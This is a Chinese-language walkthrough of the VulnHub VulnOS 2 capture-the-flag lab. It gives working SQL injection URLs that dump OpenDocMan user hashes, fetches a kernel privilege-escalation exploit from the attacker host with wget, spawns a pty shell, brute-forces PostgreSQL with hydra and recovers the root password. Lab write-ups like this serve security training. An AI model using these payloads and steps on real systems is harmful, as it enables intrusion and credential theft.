vulnhub VulnOS: 2
本文思路:
nmap端口掃描-->訪問網站搜集信息-->利用OpenDocMan v1.2.7的sql注入漏洞獲取webmin用戶的密碼-->webmin用戶ssh登錄搜集信息-->利用內核版本漏洞提權(或者 爆破postgresql用戶名密碼-->postgresql中獲得vulnosadmin的密碼-->通過vulnosadmin用戶目錄下的r00t.blend文件獲得root用戶密碼)
具體步驟:
前置步驟:arp-scan掃描得到靶機ip
攻擊機中輸入
sudo arp-scan -l掃描到同網段ip,根據靶機MAC地址,可知本靶機ip為192.168.101.27
步驟1:nmap端口掃描
攻擊機上輸入以下命令,對靶機進行TCP全端口的掃描
sudo nmap -sS -A -p- 192.168.101.27掃描出開放端口22(ssh),80(http),6667(irc,這個有點神奇,不知道后面會不會用到)
步驟2:登錄網頁收集信息
瀏覽器訪問:http://192.168.101.27/
進來之后是這樣的提示通過滲透website獲取root權限和flag
點擊上圖的website,來到? http://192.168.101.27/jabc/?
在這個站點四處逛逛,最后來到了documentation頁面:?http://192.168.101.27/jabc/?q=node/7
啥也沒有,就有點詭異
右鍵 查看頁面源代碼,發現隱藏的提示
根據上圖中的提示訪問:?http://192.168.101.27/jabcd0cs/
用戶名和密碼都是guest
在這個站點也翻了一遍沒發現啥特有用的,但注意到網站是用OpenDocMan v1.2.7創建的。
在exploit-db中查找OpenDocMan,找到一條版本符合的
OpenDocMan 1.2.7 - Multiple Vulnerabilities - PHP webapps Exploithttps://www.exploit-db.com/exploits/32075里面記錄了兩個問題,一個是sql注入,由于我們現在是guest用戶,可能可以利用這個獲得管理員賬戶和密碼;第二個是通過訪問控制漏洞使當前用戶獲取管理員權限,我沒用這個方法,但有小伙伴用這個方法也成功了。
步驟3:利用sql注入獲取管理員賬戶和密碼
那就試試sql注入吧:
瀏覽器訪問如下url,獲得當前數據庫名稱(其實這步沒啥必要)
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9?瀏覽器訪問如下url,獲得當前數據庫所有表名稱
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()瀏覽器訪問如下url,獲得當前數據庫表odm_user的所有列名稱。
特別注意,后端應該是過濾了引號,所以需要用十六進制編碼來表示表名。
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()瀏覽器訪問如下url,獲得當前數據庫表odm_user的列username和password的所有值
http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user從上圖結果可知,這個站點有兩個用戶,一個是我們已知的guest,另一個叫webmin,可能是管理員。
拿webmin的密碼到md5解密網站上去解一下,得到webmin的密碼webmin1980
步驟4:網頁上的無效操作 TAT
拿webmin賬戶密碼登錄http://192.168.101.27/jabcd0cs/?
可以發現admin頁面http://192.168.101.27/jabcd0cs/admin.php
由于現階段的目標是getshell,且網站有上傳文件的功能,且之前嘗試上傳php文件沒有上傳成功,所以很有可能是需要用管理員賬戶修改上傳文件相關的配置。
點擊Edit file types進入http://192.168.101.27/jabcd0cs/filetypes.php?submit=update&state=2
點Add File Type進入http://192.168.101.27/jabcd0cs/filetypes.php?submit=AddNew?
之前上傳php文件的時候報的是不支持text/x-php,這里把text/x-php加上
來到http://192.168.101.27/jabcd0cs/add.php上傳php反彈shell文件
上傳成功
在??http://192.168.101.27/jabcd0cs/settings.php?submit=update&state=2?可以找到文件上傳路徑
訪問文件上傳路徑?http://192.168.101.27/jabcd0cs/uploads/?發現文件轉換為.dat了。所以如果想通過訪問php反彈shell文件獲得反彈shell,還需要找到一個本地文件包含漏洞,但是遍訪網站并沒有找到這個漏洞TAT……這條路就斷了
步驟5:getshell--用webmin賬號登錄ssh
用剛剛獲得的webmin賬號和密碼webmin1980登錄ssh,登錄成功,獲得shell
步驟6:根據內核版本提權
查看靶機內核版本
uname -a?在exploit-db上搜索3.13.0,找到一個提權腳本
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploithttps://www.exploit-db.com/exploits/37292把這個腳本下載到攻擊機上,攻擊機上開http服務
python -m SimpleHTTPServer 7777把這個提權腳本從攻擊機下載到靶機上
wget http://192.168.101.25:7777/37292.c在靶機上編譯
gcc -o 37292 37292.c?執行
./37292成功提權?
輸入如下命令,獲得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'找到flag?
步驟7:另一種提權方法:通過另一個用戶提權
其實到上一步這個靶機就可以結束了,但打靶機總不能老用內核提權吧,太沒勁了。
在vulnhub上看到一個挺復雜的提權方法,跟著學習一下
g0blin Research: VulnOS 2 VulnHub Writeuphttps://g0blin.co.uk/vulnos-2-vulnhub-writeup/https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdfhttps://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf(1)用webmin賬號密碼ssh登錄之后,首先切換到上一級目錄,發現還有一個用戶目錄vulnosadmin,這個目錄webmin是沒有權限的。
(2)再進到webmin目錄下,解壓?post.tar.gz?
tar zxvf post.tar.gz看解壓出來的結果,有很多hydra相關的文件,應該是要用到hydra爆破?
?
(3)查看靶機監聽狀態的端口
由于webmin沒有netstat -p選項的權限,所以得netstat兩遍:
第一遍
netstat -ant第二遍
netstat -at兩遍一對比,發現本地監聽的一個是mysql(3306端口),一個是postgresql(5432端口)。
由于上一步中解壓的文件夾名稱是post,所以合理推測要爆破的是postgresql(5432端口)。
(4)安裝hydra
進post目錄
cd post輸入
./configure再輸入
make輸入如下命令,如果正常返回help結果,則表示hydra安裝成功
hydra --help??
(5)拷貝密碼字典到靶機
攻擊機上進入/usr/share/metasploit-framework/data/wordlists目錄,開http服務
python -m SimpleHTTPServer 7777靶機shell中輸入,下載字典postgres_default_pass.txt
wget http://192.168.101.25:7777/postgres_default_pass.txt(6)用hydra爆破postgresql密碼
靶機shell輸入命令
./hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres爆破結果如下圖,用戶名postgres,密碼postgres
(7) 進入postgresql,拿到vulnosadmin用戶的密碼
登錄postgresql
psql -h localhost -U postgres查看所有數據庫
postgres=# \l進入system數據庫
postgres=# \c system列出system數據庫的表
system=# \dt獲取system數據庫users表的內容(注意結尾分號,關鍵字大寫)
system=# SELECT * FROM users;獲取到?vulnosadmin用戶的密碼c4nuh4ckm3tw1c3
(8)vulnosadmin用戶ssh登錄
ssh vulnosadmin@192.168.101.27該用戶目錄下有一文件r00t.blend
(9)將r00t.blend拷貝到攻擊機
靶機vulnosadmin用戶shell開http服務,監聽8888端口
python -m SimpleHTTPServer 8888攻擊機下載?r00t.blend文件
wget http://192.168.101.27:8888/r00t.blend(10)攻擊機(kali)安裝blender
安裝snapd
sudo apt update sudo apt install snapd啟動snapd
sudo systemctl start snapd安裝blender
sudo snap install blender --classic(11)用blender打開r00t.blend查看root用戶的密碼
打開blender
/snap/bin/blender用blender打開r00t.blend,剛打開的時候就是一個四面不透風的方塊,右上角小框框里面選Text,這個時候就能看到文字了
上面的圖看不清到底什么字,左邊選Rotate,旋轉一下文字,可以看清是ab12fg//drg了,這個是root用戶的密碼
(12)root用戶ssh登錄
ssh root@192.168.101.27輸入密碼?ab12fg//drg,成功登錄
總結
以上是生活随笔為你收集整理的vulnhub VulnOS: 2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: raptor
- 下一篇: MATSim笔记01-controler